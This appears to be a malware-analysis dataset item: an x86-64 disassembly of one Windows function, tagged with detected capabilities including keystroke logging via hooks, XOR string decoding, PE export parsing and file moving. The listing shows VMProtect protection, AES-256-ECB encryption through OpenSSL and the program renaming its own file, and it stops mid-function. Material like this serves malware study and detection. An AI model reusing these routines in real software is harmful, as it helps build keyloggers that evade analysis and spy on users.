Function at 0x14001f908
Capabilities:
Access peb ldr_data
Create thread
Encode data using xor
Generate random numbers using a mersenne twister
Hash data using fnv
Log keystrokes via application hook
Move file
Register raw input devices
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x42c8]
mov eax, 0x43a0
call fcn.14002a430
sub rsp, rax
mov rax, qword [0x140039010]
xor rax, rsp
mov qword [rbp + 0x4290], rax
movsd xmm0, qword [str.UX]
movsd qword [rsp + 0x60], xmm0
mov eax, dword [0x14002ea90]
mov dword [rsp + 0x68], eax
movzx eax, word [0x14002ea94]
mov word [rsp + 0x6c], ax
mov r12d, 1
xor r15d, r15d
cmp byte [0x14002ea95], r15b
je 0x14001f9a8
mov edi, r15d
lea r8, [rsp + 0x60]
mov eax, 0x4ec4ec4f
mul edi
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x34
mov al, dil
sub al, cl
add al, 0x33
xor byte [r8], al
add edi, r12d
add r8, r12
cmp edi, 0xe
jl 0x14001f983
lea rcx, [rsp + 0x60]
call qword [sym.imp.VMProtectSDK64.dll_VMProtectBeginUltra]
lea rdx, [0x14000f714]
lea rcx, [rbp + 0x2950]
call fcn.140025a28
nop
cmp dword [rbp + 0x2958], r15d
jne 0x14001f9da
mov ecx, r12d
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
movaps xmm0, xmmword [rbp + 0x2950]
movdqa xmmword [rbp + 0x2770], xmm0
lea rcx, [rbp + 0x2770]
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
je 0x14001fa03
mov ecx, eax
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_C_error_int_]
int3
xorps xmm0, xmm0
movaps xmmword [rbp + 0x2810], xmm0
movdqa xmmword [rbp + 0x2950], xmm0
call fcn.1400059a8
call fcn.140016ddc
call fcn.140016890
call fcn.14001735c
call fcn.1400195a8
call fcn.14000f804
call fcn.14000f9f8
call fcn.14000f73c
call fcn.140010ad0
call fcn.140019e9c
call fcn.140012b44
call fcn.140015a8c
call fcn.140019ba4
call fcn.14000fc20
call fcn.140011be8
call fcn.140011bfc
call fcn.140010d84
call fcn.14001140c
call fcn.14001155c
call fcn.140011910
call fcn.14001a778
call fcn.14000ff08
call fcn.140010504
call fcn.140011c1c
call fcn.14001a3e8
call fcn.140011f08
call fcn.1400059a8
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rbx, rax
lea rdx, [0x14001ad70]
lea rcx, [rbp - 0x60]
call fcn.140025a28
mov rdi, rax
cmp dword [rax + 8], r15d
jne 0x14001fac8
mov ecx, r12d
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
movups xmm0, xmmword [rax]
movdqu xmmword [rbp - 0x40], xmm0
lea rcx, [rbp - 0x40]
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
je 0x14001fae7
mov ecx, eax
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_C_error_int_]
int3
xorps xmm0, xmm0
movups xmmword [rbp + 0x2860], xmm0
movdqu xmmword [rdi], xmm0
cmp dword [rbp - 0x58], r15d
je 0x14001fb02
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
mov r13d, 0x10
mov ecx, r13d
call fcn.140029520
mov qword [rax], rbx
lea rcx, [0x14001aaa0]
mov qword [rax + 8], rcx
mov qword [rbp + 0x27c0], rax
lea rcx, [rbp + 0x2838]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r15d
mov r9, rax
lea r8, [0x140028e60]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x2830], rax
test rax, rax
je 0x140021596
mov qword [rbp + 0x27c0], r15
cmp dword [rbp + 0x2838], r15d
jne 0x14001fb74
mov ecx, r12d
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
movaps xmm0, xmmword [rbp + 0x2830]
movdqa xmmword [rbp - 0x80], xmm0
lea rcx, [rbp - 0x80]
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
je 0x14001fb97
mov ecx, eax
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_C_error_int_]
int3
xorps xmm0, xmm0
movaps xmmword [rbp + 0x2780], xmm0
movdqa xmmword [rbp + 0x2830], xmm0
call fcn.1400059a8
call fcn.14001cf6c
call fcn.1400059a8
mov rax, r15
lea rcx, [0x140000000]
movdqu xmm1, xmmword [rax + rcx + 0x307e0]
movdqu xmm0, xmmword [rax + rcx + 0x30970]
pxor xmm1, xmm0
pxor xmm1, xmmword [str.wwwwwwwwwwwwwwww]
movdqu xmmword [rbp + rax + 0x4170], xmm1
add rax, r13
cmp rax, 0x20
jl 0x14001fbc2
call fcn.1400059a8
lea rcx, [rbp + 0x2890]
call fcn.14000a098
nop
mov dword [rsp + 0x70], r15d
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_new]
mov rdi, rax
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_256_ecb]
mov rdx, rax
mov qword [rsp + 0x20], r15
lea r9, [rbp + 0x4170]
xor r8d, r8d
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptInit_ex]
mov r14d, 0x1000
cmp eax, r12d
je 0x14001fc64
mov qword [rbp + 0x27c8], r15
mov ebx, 0xf
mov qword [rbp + 0x27e0], rbx
mov qword [rbp + 0x27d8], r15
mov byte [rbp + 0x27c8], r15b
jmp 0x14001fde4
mov dword [rbp + 0x2760], r15d
mov rdx, qword [rbp + 0x28a0]
add rdx, 0x10
lea rcx, [rbp + 0x27e8]
call fcn.140023e58
nop
lea r9, [rbp + 0x2890]
cmp qword [rbp + 0x28a8], r13
cmovae r9, qword [rbp + 0x2890]
lea rdx, [rbp + 0x27e8]
cmp qword [rbp + 0x2800], r13
cmovae rdx, qword [rbp + 0x27e8]
mov eax, dword [rbp + 0x28a0]
mov dword [rsp + 0x20], eax
lea r8, [rbp + 0x2760]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptUpdate]
mov rcx, rdi
cmp eax, r12d
je 0x14001fd39
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_free]
mov qword [rbp + 0x27c8], r15
mov ebx, 0xf
mov qword [rbp + 0x27e0], rbx
mov byte [rbp + 0x27c8], r15b
mov qword [rbp + 0x27d8], r15
mov rdx, qword [rbp + 0x2800]
cmp rdx, r13
jb 0x14001fdcf
inc rdx
mov rcx, qword [rbp + 0x27e8]
cmp rdx, r14
mov rax, rcx
jb 0x14001fd2f
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001fd8c
call fcn.140029564
jmp 0x14001fdcf
movsxd rbx, dword [rbp + 0x2760]
lea rdx, [rbp + 0x27e8]
cmp qword [rbp + 0x2800], r13
cmovae rdx, qword [rbp + 0x27e8]
add rdx, rbx
lea r8, [rbp + 0x2760]
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptFinal_ex]
mov rcx, rdi
cmp eax, r12d
je 0x14001fd93
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_free]
mov qword [rbp + 0x27c8], r15
mov ebx, 0xf
mov qword [rbp + 0x27e0], rbx
jmp 0x14001fcea
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
add ebx, dword [rbp + 0x2760]
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_free]
movsxd rdx, ebx
lea rcx, [rbp + 0x27e8]
call fcn.140023aa8
movups xmm0, xmmword [rbp + 0x27e8]
movups xmmword [rbp + 0x27c8], xmm0
movups xmm1, xmmword [rbp + 0x27f8]
movups xmmword [rbp + 0x27d8], xmm1
mov ebx, 0xf
mov byte [rbp + 0x27e8], r15b
mov qword [rbp + 0x2800], rbx
mov qword [rbp + 0x27f8], r15
lea rax, [rbp + 0x2890]
cmp qword [rbp + 0x28a8], r13
cmovae rax, qword [rbp + 0x2890]
mov qword [rbp + 0x28a0], r15
mov byte [rax], r15b
lea rdi, [rbp + 0x2890]
cmp qword [rbp + 0x28a8], r13
cmovae rdi, qword [rbp + 0x2890]
xor eax, eax
mov rcx, qword [rbp + 0x28a0]
rep stosb byte [rdi], al
call fcn.1400059a8
mov dword [rsp + 0x70], r15d
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_new]
mov rdi, rax
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_256_ecb]
mov rdx, rax
mov qword [rsp + 0x20], r15
lea r9, [rbp + 0x4170]
xor r8d, r8d
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptInit_ex]
cmp eax, r12d
je 0x14001fe7f
mov qword [rbp + 0x27a0], r15
mov qword [rbp + 0x27b8], rbx
mov qword [rbp + 0x27b0], r15
mov byte [rbp + 0x27a0], r15b
jmp 0x14001ffec
mov dword [rbp + 0x2770], r15d
mov rdx, qword [rbp + 0x27d8]
lea rcx, [rbp + 0x2860]
call fcn.140023e58
nop
lea r9, [rbp + 0x27c8]
cmp qword [rbp + 0x27e0], r13
cmovae r9, qword [rbp + 0x27c8]
lea rdx, [rbp + 0x2860]
cmp qword [rbp + 0x2878], r13
cmovae rdx, qword [rbp + 0x2860]
mov eax, dword [rbp + 0x27d8]
mov dword [rsp + 0x20], eax
lea r8, [rbp + 0x2770]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptUpdate]
mov rcx, rdi
cmp eax, r12d
je 0x14001ff4b
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_free]
mov qword [rbp + 0x27a0], r15
mov qword [rbp + 0x27b8], rbx
mov byte [rbp + 0x27a0], r15b
mov qword [rbp + 0x27b0], r15
mov rdx, qword [rbp + 0x2878]
cmp rdx, r13
jb 0x14001ffd7
inc rdx
mov rcx, qword [rbp + 0x2860]
cmp rdx, r14
mov rax, rcx
jb 0x14001ff41
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001ff99
call fcn.140029564
jmp 0x14001ffd7
movsxd rsi, dword [rbp + 0x2770]
lea rdx, [rbp + 0x2860]
cmp qword [rbp + 0x2878], r13
cmovae rdx, qword [rbp + 0x2860]
add rdx, rsi
lea r8, [rbp + 0x2770]
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptFinal_ex]
mov rcx, rdi
cmp eax, r12d
je 0x14001ffa0
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_free]
mov qword [rbp + 0x27a0], r15
mov qword [rbp + 0x27b8], rbx
jmp 0x14001fefc
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
add esi, dword [rbp + 0x2770]
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_free]
movsxd rdx, esi
lea rcx, [rbp + 0x2860]
call fcn.140023aa8
movups xmm0, xmmword [rbp + 0x2860]
movups xmmword [rbp + 0x27a0], xmm0
movups xmm1, xmmword [rbp + 0x2870]
movups xmmword [rbp + 0x27b0], xmm1
mov byte [rbp + 0x2860], r15b
mov qword [rbp + 0x2878], rbx
mov qword [rbp + 0x2870], r15
call fcn.1400059a8
lea rdx, [rbp + 0x27a0]
lea rcx, [rbp + 0x2810]
call fcn.140023f58
nop
call fcn.1400059a8
mov qword [rbp + 0x2840], r15
mov qword [rbp + 0x2850], r15
mov qword [rbp + 0x2858], rbx
mov byte [rbp + 0x2840], r15b
lea r9, [0x140030800]
mov edx, 0x16d
lea rcx, [rbp + 0x2840]
call fcn.140005244
nop
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
or esi, 0xffffffff
mov dword [rbp + 0x26f4], esi
mov dword [rbp + 0x1374], eax
mov rdx, r12
mov edi, 0x270
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rbp + rdx*4 + 0x1374], eax
add rdx, r12
cmp rdx, rdi
jb 0x14002005c
mov dword [rbp + 0x1370], edi
lea rcx, [rbp + 0x2840]
mov rdx, qword [rbp + 0x2850]
cmp qword [rbp + 0x2858], r13
jb 0x1400200a3
mov rcx, qword [rbp + 0x2840]
add rdx, rcx
jmp 0x1400200ad
add rdx, rcx
lea rcx, [rbp + 0x2840]
lea r8, [rbp + 0x1370]
call fcn.1400258d8
lea rdx, [0x140039050]
lea rcx, [rbp + 0x2930]
call fcn.140023f58
nop
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rbp + 0x1364], esi
mov dword [rbp - 0x1c], eax
mov rdx, r12
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rbp + rdx*4 - 0x1c], eax
add rdx, r12
cmp rdx, rdi
jb 0x1400200df
mov dword [rbp - 0x20], edi
lea rcx, [rbp + 0x2930]
mov rdx, qword [rbp + 0x2940]
cmp qword [rbp + 0x2948], r13
jb 0x140020120
mov rcx, qword [rbp + 0x2930]
add rdx, rcx
jmp 0x14002012a
add rdx, rcx
lea rcx, [rbp + 0x2930]
lea r8, [rbp - 0x20]
call fcn.1400258d8
lea rdx, [rbp + 0x2840]
cmp qword [rbp + 0x2858], r13
jb 0x140020152
mov rcx, qword [rbp + 0x2840]
mov rdx, rcx
mov rdi, rcx
jmp 0x14002015c
mov rdi, rdx
lea rcx, [rbp + 0x2840]
mov rsi, qword [rbp + 0x2850]
add rsi, rcx
cmp rdx, rsi
je 0x140020188
lea r8, [rbp + 0x2930]
mov dl, byte [rdi]
lea rcx, [rbp + 0x2810]
call fcn.14001f6e8
add rdi, r12
cmp rdi, rsi
jne 0x14002016b
lea r8, [rbp + 0x2930]
mov dl, 0x44
lea rcx, [rbp + 0x2810]
call fcn.14001f6e8
call fcn.1400059a8
lea rcx, [rbp + 0x2810]
cmp qword [rbp + 0x2828], r13
cmovae rcx, qword [rbp + 0x2810]
call fcn.14001f75c
call fcn.1400059a8
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
lea rdx, [0x14001f658]
lea rcx, [rbp + 0x29d8]
call fcn.140025a28
nop
mov edx, ebx
lea rcx, [rbp - 0x40]
call fcn.140005578
nop
lea rdx, str..exe
mov rcx, rax
call fcn.140023c78
mov qword [rbp + 0x2988], r15
mov qword [rbp + 0x2998], r15
mov qword [rbp + 0x29a0], r15
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x2988], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x2998], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], rbx
mov byte [rax], r15b
mov rdx, qword [rbp - 0x28]
cmp rdx, r13
jb 0x140020270
inc rdx
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, r14
jb 0x14002026b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14002026b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140029564
mov qword [rbp - 0x30], r15
mov qword [rbp - 0x28], rbx
mov byte [rbp - 0x40], r15b
lea r14, [rbp + 0x2988]
cmp qword [rbp + 0x29a0], r13
cmovae r14, qword [rbp + 0x2988]
mov r8d, 0x104
lea rdx, [rbp + 0x4180]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov qword [rbp - 0x80], r15
mov qword [rbp - 0x70], r15
mov qword [rbp - 0x68], rbx
lea rax, [rbp + 0x4180]
or rsi, 0xffffffffffffffff
mov rdi, rsi
inc rdi
cmp byte [rax + rdi], r15b
jne 0x1400202c1
lea rcx, [rbp - 0x80]
cmp rdi, rbx
ja 0x1400202ed
mov qword [rbp - 0x70], rdi
mov r8, rdi
lea rdx, [rbp + 0x4180]
call sub.VCRUNTIME140.dll_memmove
mov byte [rbp + rdi - 0x80], r15b
jmp 0x1400202fc
lea r9, [rbp + 0x4180]
mov rdx, rdi
call fcn.140005244
lea rcx, [rbp - 0x80]
cmp qword [rbp - 0x68], r13
cmovae rcx, qword [rbp - 0x80]
mov rdx, r14
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_rename]
mov rdx, qword [rbp - 0x68]
cmp rdx, r13
jb 0x14002034f
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002034a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14002034a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140029564
lea rcx, [rbp + 0x2810]
cmp qword [rbp + 0x2828], r13
cmovae rcx, qword [rbp + 0x2810]
call fcn.14001f75c
lea rdi, [rbp + 0x27a0]
cmp qword [rbp + 0x27b8], r13
cmovae rdi, qword [rbp + 0x27a0]
xor eax, eax
mov rcx, qword [rbp + 0x27b0]
rep stosb byte [rdi], al
lea rax, [rbp + 0x27a0]
cmp qword [rbp + 0x27b8], r13
cmovae rax, qword [rbp + 0x27a0]
mov qword [rbp + 0x27b0], r15
mov byte [rax], r15b
lea rdi, [rbp + 0x2810]
cmp qword [rbp + 0x2828], r13
cmovae rdi, qword [rbp + 0x2810]
xor eax, eax
mov rcx, qword [rbp + 0x2820]
rep stosb byte [rdi], al
lea rax, [rbp + 0x2810]
cmp qword [rbp + 0x2828], r13
cmovae rax, qword [rbp + 0x2810]
mov qword [rbp + 0x2820], r15
mov byte [rax], r15b
call fcn.1400059a8
movsd xmm0, qword [0x14002ec50]
movsd qword [rsp + 0x60], xmm0
movzx eax, word [0x14002ec58]
mov word [rsp + 0x68], ax
mov al, byte [0x14002ec5a]
mov byte [rsp + 0x6a], al
mov edi, r15d
lea r8, [rsp + 0x60]
mov r14d, 0x4ec4ec4f
mov eax, r14d
mul edi
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x34
mov al, dil
sub al, cl
add al, 0x33
xor byte [r8], al
add edi, r12d
add r8, r12
cmp edi, 0xb
jl 0x140020423
mov qword [rbp - 0x60], r15
mov qword [rbp - 0x50], r15
mov qword [rbp - 0x48], rbx
mov byte [rbp - 0x60], r15b
lea rax, [rsp + 0x60]
inc rsi
cmp byte [rax + rsi], r15b
jne 0x14002045b
lea rcx, [rbp - 0x60]
cmp rsi, rbx
ja 0x140020485
mov qword [rbp - 0x50], rsi
mov r8, rsi
lea rdx, [rsp + 0x60]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbp + rsi - 0x60], r15b
jmp 0x140020493
lea r9, [rsp + 0x60]
mov rdx, rsi
call fcn.140005244
nop
lea rcx, [rbp - 0x60]
call fcn.14001d6d4
nop
mov rdx, qword [rbp - 0x48]
cmp rdx, r13
jb 0x1400204da
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400204d5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400204d5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140029564
movups xmm0, xmmword [0x14002fc10]
movups xmmword [rbp + 0x29f0], xmm0
movups xmm1, xmmword [0x14002fc20]
movups xmmword [rbp + 0x2a00], xmm1
movups xmm0, xmmword [0x14002fc30]
movups xmmword [rbp + 0x2a10], xmm0
movups xmm1, xmmword [0x14002fc40]
movups xmmword [rbp + 0x2a20], xmm1
movups xmm0, xmmword [0x14002fc50]
movups xmmword [rbp + 0x2a30], xmm0
movups xmm1, xmmword [0x14002fc60]
movups xmmword [rbp + 0x2a40], xmm1
mov eax, dword [0x14002fc70]
mov dword [rbp + 0x2a50], eax
movzx eax, word [0x14002fc74]
mov word [rbp + 0x2a54], ax
mov edi, r15d
lea r8, [rbp + 0x29f0]
mov ebx, 0x66
mov eax, r14d
mul edi
shr edx, 4
movsx eax, dl
imul edx, eax, 0x34
mov al, dil
sub al, dl
add al, 0x33
xor byte [r8], al
add edi, r12d
add r8, r12
cmp edi, ebx
jl 0x140020557
lea rdx, [rbp + 0x29f0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400251f8
lea rsi, [0x1400259f0]
mov rdx, rsi
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov r8, rbx
xor edx, edx
lea rcx, [rbp + 0x29f0]
call sub.VCRUNTIME140.dll_memset
movups xmm0, xmmword [0x140030070]
movups xmmword [rbp + 0x2a60], xmm0
movups xmm1, xmmword [0x140030080]
movups xmmword [rbp + 0x2a70], xmm1
movups xmm0, xmmword [0x140030090]
movups xmmword [rbp + 0x2a80], xmm0
movups xmm1, xmmword [0x1400300a0]
movups xmmword [rbp + 0x2a90], xmm1
movups xmm0, xmmword [0x1400300b0]
movups xmmword [rbp + 0x2aa0], xmm0
movups xmm1, xmmword [0x1400300c0]
movups xmmword [rbp + 0x2ab0], xmm1
mov eax, dword [0x1400300d0]
mov dword [rbp + 0x2ac0], eax
movzx eax, word [0x1400300d4]
mov word [rbp + 0x2ac4], ax
mov edi, r15d
lea r8, [rbp + 0x2a60]
mov eax, r14d
mul edi
shr edx, 4
movsx eax, dl
imul edx, eax, 0x34
mov al, dil
sub al, dl
add al, 0x33
xor byte [r8], al
add edi, r12d
add r8, r12
cmp edi, ebx
jl 0x140020628
lea rdx, [rbp + 0x2a60]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400251f8
mov rdx, rsi
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov r8, rbx
xor edx, edx
lea rcx, [rbp + 0x2a60]
call sub.VCRUNTIME140.dll_memset
movups xmm0, xmmword [0x14002ffe0]
movups xmmword [rbp + 0x2c90], xmm0
movups xmm1, xmmword [0x14002fff0]
movups xmmword [rbp + 0x2ca0], xmm1
movups xmm0, xmmword [0x140030000]
movups xmmword [rbp + 0x2cb0], xmm0
movups xmm1, xmmword [0x140030010]
movups xmmword [rbp + 0x2cc0], xmm1
movups xmm0, xmmword [0x140030020]
movups xmmword [rbp + 0x2cd0], xmm0
movups xmm1, xmmword [0x140030030]
movups xmmword [rbp + 0x2ce0], xmm1
mov eax, dword [0x140030040]
mov dword [rbp + 0x2cf0], eax
movzx eax, word [0x140030044]
mov word [rbp + 0x2cf4], ax
mov edi, r15d
lea r8, [rbp + 0x2c90]
mov eax, r14d
mul edi
shr edx, 4
movsx eax, dl
imul edx, eax, 0x34
mov al, dil
sub al, dl
add al, 0x33
xor byte [r8], al
add edi, r12d
add r8, r12
cmp edi, ebx
jl 0x1400206f2
lea rdx, [rbp + 0x2c90]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400251f8
mov rdx, rsi
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov r8, rbx
xor edx, edx
lea rcx, [rbp + 0x2c90]
call sub.VCRUNTIME140.dll_memset
movups xmm0, xmmword [0x140030d00]
movups xmmword [rbp + 0x2ad0], xmm0
movups xmm1, xmmword [0x140030d10]
movups xmmword [rbp + 0x2ae0], xmm1
movups xmm0, xmmword [0x140030d20]
movups xmmword [rbp + 0x2af0], xmm0
movups xmm1, xmmword [0x140030d30]
movups xmmword [rbp + 0x2b00], xmm1
movups xmm0, xmmword [str._axaz]
movups xmmword [rbp + 0x2b10], xmm0
movups xmm1, xmmword [0x140030d50]
movups xmmword [rbp + 0x2b20], xmm1
mov eax, dword [0x140030d60]
mov dword [rbp + 0x2b30], eax
movzx eax, word [0x140030d64]
mov word [rbp + 0x2b34], ax
mov edi, r15d
lea r8, [rbp + 0x2ad0]
mov eax, r14d
mul edi
shr edx, 4
movsx eax, dl
imul edx, eax, 0x34
mov al, dil
sub al, dl
add al, 0x33
xor byte [r8], al
add edi, r12d
add r8, r12
cmp edi, ebx
jl 0x1400207bc
lea rdx, [rbp + 0x2ad0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400251f8
mov rdx, rsi
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov r8, rbx
xor edx, edx
lea rcx, [rbp + 0x2ad0]
call sub.VCRUNTIME140.dll_memset
movups xmm0, xmmword [0x14002e8a0]
movups xmmword [rbp + 0x2b40], xmm0
movups xmm1, xmmword [0x14002e8b0]
movups xmmword [rbp + 0x2b50], xmm1
movups xmm0, xmmword [0x14002e8c0]
movups xmmword [rbp + 0x2b60], xmm0
movups xmm1, xmmword [0x14002e8d0]
movups xmmword [rbp + 0x2b70], xmm1
movups xmm0, xmmword [str._axabcd_]
movups xmmword [rbp + 0x2b80], xmm0
movups xmm1, xmmword [0x14002e8f0]
movups xmmword [rbp + 0x2b90], xmm1
mov eax, dword [0x14002e900]
mov dword [rbp + 0x2ba0], eax
movzx eax, word [0x14002e904]
mov word [rbp + 0x2ba4], ax
mov edi, r15d
lea r8, [rbp + 0x2b40]
mov eax, r14d
mul edi
shr edx, 4
movsx eax, dl
imul edx, eax, 0x34
mov al, dil
sub al, dl
add al, 0x33
xor byte [r8], al
add edi, r12d
add r8, r12
cmp edi, ebx
jl 0x140020886
lea rdx, [rbp + 0x2b40]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400251f8
mov rdx, rsi
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov r8, rbx
xor edx, edx
lea rcx, [rbp + 0x2b40]
call sub.VCRUNTIME140.dll_memset
movups xmm0, xmmword [0x14002e8a0]
movups xmmword [rbp + 0x2bb0], xmm0
movups xmm1, xmmword [0x14002e8b0]
movups xmmword [rbp + 0x2bc0], xmm1
movups xmm0, xmmword [0x14002e8c0]
movups xmmword [rbp + 0x2bd0], xmm0
movups xmm1, xmmword [0x14002e8d0]
movups xmmword [rbp + 0x2be0], xmm1
movups xmm0, xmmword [str._axabcd_]
movups xmmword [rbp + 0x2bf0], xmm0
movups xmm1, xmmword [0x14002e8f0]
movups xmmword [rbp + 0x2c00], xmm1
mov eax, dword [0x14002e900]
mov dword [rbp + 0x2c10], eax
movzx eax, word [0x14002e904]
mov word [rbp + 0x2c14], ax
mov edi, r15d
lea r8, [rbp + 0x2bb0]
mov eax, r14d
mul edi
shr edx, 4
movsx eax, dl
imul edx, eax, 0x34
mov al, dil
sub al, dl
add al, 0x33
xor byte [r8], al
add edi, r12d
add r8, r12
cmp edi, ebx
jl 0x140020950
lea rdx, [rbp + 0x2bb0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400251f8
mov rdx, rsi
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov r8, rbx
xor edx, edx
lea rcx, [rbp + 0x2bb0]
call sub.VCRUNTIME140.dll_memset
movups xmm0, xmmword [0x140030c60]
movups xmmword [rbp + 0x2c20], xmm0
movups xmm1, xmmword [0x140030c70]
movups xmmword [rbp + 0x2c30], xmm1
movups xmm0, xmmword [0x140030c80]
movups xmmword [rbp + 0x2c40], xmm0
